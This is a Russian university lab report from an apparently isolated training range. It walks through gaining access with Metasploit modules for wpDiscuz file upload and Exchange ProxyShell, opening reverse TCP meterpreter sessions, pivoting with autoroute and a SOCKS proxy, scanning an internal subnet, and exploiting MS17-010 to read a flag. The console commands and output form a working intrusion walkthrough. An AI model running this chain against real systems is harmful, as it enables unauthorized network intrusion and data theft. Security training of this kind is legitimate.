

# Отчет по лабораторной работе 4. Кибербезопасность предприятия

---

М"Апареев Д.А., Игнатенкова В.Н., Демидович Н.М., Ендонова А.В., Машковцева К.С., Шубнякова Д.И."

Российский университет дружбы народов

## Информация

---

## Задача

---

Научиться обнаруживать и эксплуатировать уязвимости в изолированной сетевой среде для получения несанкционированного доступа к резервным копиям данных, хранящимся на backup-сервере.

Способы получения флага: 1. Поиск backup-сервера 2. Эксплуатация уязвимости ms17

## Выполнение лабораторной работы

ля получения доступа во внутреннюю сеть была использована уязвимость в WordPress-плагине wp\_wpdiscuz\_unauthenticated\_file\_upload, позволяющая загрузить вредоносный файл и получить meterpreter-сессию на корпоративном сайте. Альтернативно можно было использовать уязвимость exchange\_proxyshell\_rce на почтовом сервере

```
View the full module info with the info, or info -d command.  
  
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhost  
s 195.239.174.25  
rhosts => 195.239.174.25  
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogp  
ath /index.php/2021/07/26/hello-world/  
blogpath => /index.php/2021/07/26/hello-world/  
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost  
195.239.174.11  
lhost => 195.239.174.11  
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > run  
[*] Started reverse TCP handler on 195.239.174.11:4444
```

## Описание сценария

После успешной эксплуатации была получена активная meterpreter-сессия с узлом в DMZ

```
msf6 exploit(windows/http/exchange_proxyshell_rce) > set rhosts 195.239.174.2
5
rhosts => 195.239.174.25
msf6 exploit(windows/http/exchange_proxyshell_rce) > set blogpath /index.php/
2021/07/26/hello-world/
[!] Unknown datastore option: blogpath.
blogpath => /index.php/2021/07/26/hello-world/
msf6 exploit(windows/http/exchange_proxyshell_rce) > set lhost 195.239.174.11
lhost => 195.239.174.11
msf6 exploit(windows/http/exchange_proxyshell_rce) > set rhosts 195.239.174.1
rhosts => 195.239.174.1
msf6 exploit(windows/http/exchange_proxyshell_rce) > run
[*] Started reverse TCP handler on 195.239.174.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Attempt to exploit for CVE-2021-34473
[*] Retrieving backend FQDN over RPC request
[*] Internal server name: mail.ampire.corp
[*] Enumerating valid email addresses and searching for one that either has t
he 'Mailbox Import Export' role or can self-assign it
[*] Enumerated 7 email addresses
[*] Saved mailbox and email address data to: /home/reduser4/.msf4/loot/202511
20184356_default_195.239.174.1_ad.exchange.mail_402475.txt
[-] Exploit aborted due to failure: timeout-expired: Server did not respond i
n an expected way.
```

## Описание сценария

---

Модель аэропорта

# Поиск backup-сервера

Отображаем конфигурацию сети

```
Name      : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU       : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

Interface 6

```
Name      : Red Hat VirtIO Ethernet Adapter
Hardware MAC : 02:00:00:b8:32:08
MTU       : 1500
IPv4 Address : 10.10.10.10
IPv4 Netmask : 255.255.255.0
```

Interface 8

```
Name      : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU       : 1280
IPv6 Address : fe80::5efe:a0a:a0a
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

## Поиск backup-сервера

Прописываем в активной meterpreter-сессии маршрут до данной подсети

```
meterpreter > run autoroute -s 10.10.10.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]
[*] Adding a route to 10.10.10.0/255.255.255.0 ...
[+] Added route to 10.10.10.0/255.255.255.0 via 195.239.174.1
[*] Use the -p option to list all active routes
meterpreter > █
```

Рис. 4: Проброс портов во внутреннюю сеть

## Поиск backup-сервера

Далее сворачиваем активную сессию и запускаем прокси-сервер с помощью socks

```
msf6 exploit(windows/http/exchange_proxyshell_rce) > use socks_proxy

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
on
-  --
-  -
0  auxiliary/server/socks_proxy           .             normal  No      SOCKS Pro
xy Server

Interact with a module by name or index. For example info 0, use 0 or use aux
iliary/server/socks_proxy

[*] Using auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) >
```

## Поиск backup-сервера

Продолжаем сбор информации о найденной подсети с помощью arp\_scanner

```
meterpreter > run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
[*] Running module against MAIL (195.239.174.1)
[*] ARP Scanning 10.10.10.0/24
[+] IP: 10.10.10.5 MAC 02:00:00:b8:32:07 (UNKNOWN)
[+] IP: 10.10.10.10 MAC 02:00:00:b8:32:08 (UNKNOWN)
[+] IP: 10.10.10.15 MAC 02:00:00:b8:32:04 (UNKNOWN)
[+] IP: 10.10.10.20 MAC 02:00:00:b8:32:03 (UNKNOWN)
[+] IP: 10.10.10.21 MAC 02:00:00:b8:32:0b (UNKNOWN)
[+] IP: 10.10.10.25 MAC 02:00:00:b8:32:05 (UNKNOWN)
[+] IP: 10.10.10.30 MAC 02:00:00:b8:32:09 (UNKNOWN)
[+] IP: 10.10.10.35 MAC 02:00:00:b8:32:0a (UNKNOWN)
[+] IP: 10.10.10.40 MAC 02:00:00:b8:32:01 (UNKNOWN)
[+] IP: 10.10.10.45 MAC 02:00:00:b8:32:0d (UNKNOWN)
[+] IP: 10.10.10.55 MAC 02:00:00:b8:32:06 (UNKNOWN)
[+] IP: 10.10.10.255 MAC 02:00:00:b8:32:08 (UNKNOWN)
[+] IP: 10.10.10.254 MAC 02:00:00:b8:32:02 (UNKNOWN)
meterpreter > █
```

## Поиск backup-сервера

Далее проводим сканирование открытых портов на найденных хостах, используя модуль portscan/tcp

```
msf6 post(windows/gather/arp_scanner) > use portscan/tcp

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Descrip
tion
-  --
0  auxiliary/scanner/portscan/tcp          .             normal  No      TCP Por
t Scanner

Interact with a module by name or index. For example info 0, use 0 or use aux
iliary/scanner/portscan/tcp

[*] Using auxiliary/scanner/portscan/tcp
```

## Поиск backup-сервера

```
[*] Using auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 10.10.10.5
rhosts => 10.10.10.5
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.10.10.5 - 10.10.10.5:21 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:80 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:135 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:139 - TCP OPEN
[+] 10.10.10.5 - 10.10.10.5:445 - TCP OPEN
^C[*] 10.10.10.5 - Caught interrupt from the console ...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) > use scanner/smb/smb_ms17
```

Рис. 8: Сканирование portscan

## Эксплуатация уязвимости ms17

С помощью модуля scanner/smb проводим сканирование порта smb на наличие уязвимости ms17

```
msf6 auxiliary(scanner/portscan/tcp) > use scanner/smb/smb_ms17
```

### Matching Modules

| # | Name                               | Description                | Disclosure Date | Rank   | Check | Des |
|---|------------------------------------|----------------------------|-----------------|--------|-------|-----|
| - | auxiliary/scanner/smb/smb_ms17_010 | MS17-010 SMB RCE Detection | .               | normal | No    | MS1 |
| 1 | \_\_ AKA: DOUBLEPULSAR             | .                          | .               | .      | .     | .   |
| 2 | \_\_ AKA: ETERNALBLUE              | .                          | .               | .      | .     | .   |

Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/smb/smb\_ms17\_010

## Эксплуатация уязвимости ms17

Хост уязвим для ms17. Для эксплуатации уязвимости нужно воспользоваться модулем

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > use ms17_010_psexec

Matching Modules
=====
#  Name
      Description
-  --
0  exploit/windows/smb/ms17_010_psexec  2017-03-14      normal  Yes   MS
17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code
Execution
    1  \_ target: Automatic
    2  \_ target: PowerShell
    3  \_ target: Native upload
    4  \_ target: MOF upload
    5  \_ AKA: ETERNALSYNERGY
    6  \_ AKA: ETERNALROMANCE
    7  \_ AKA: ETERNALCHAMPION
    8  \_ AKA: ETERNALBLUE

Interact with a module by name or index. For example info 8, use 8 or use exp
```

## Эксплуатация уязвимости ms17

Необходимый код для решения задания

```
meterpreter > cat C:/Windows/Temp/flag.txt  
87039
```

Рис. 11: Сканирование порта на наличие уязвимости

## Выводы

---

В ходе лабораторной работы были успешно выполнены следующие этапы: 1. Получен начальный доступ к узлу в DMZ через уязвимость WordPress/Exchange. 2. Обнаружен backup-сервер во внутренней сети с помощью ARP- и портового сканирования. 3. Эксплуатирована уязвимость MS17-010 для получения полного контроля над backup-сервером. 4. Найден и извлечён файл с флагом.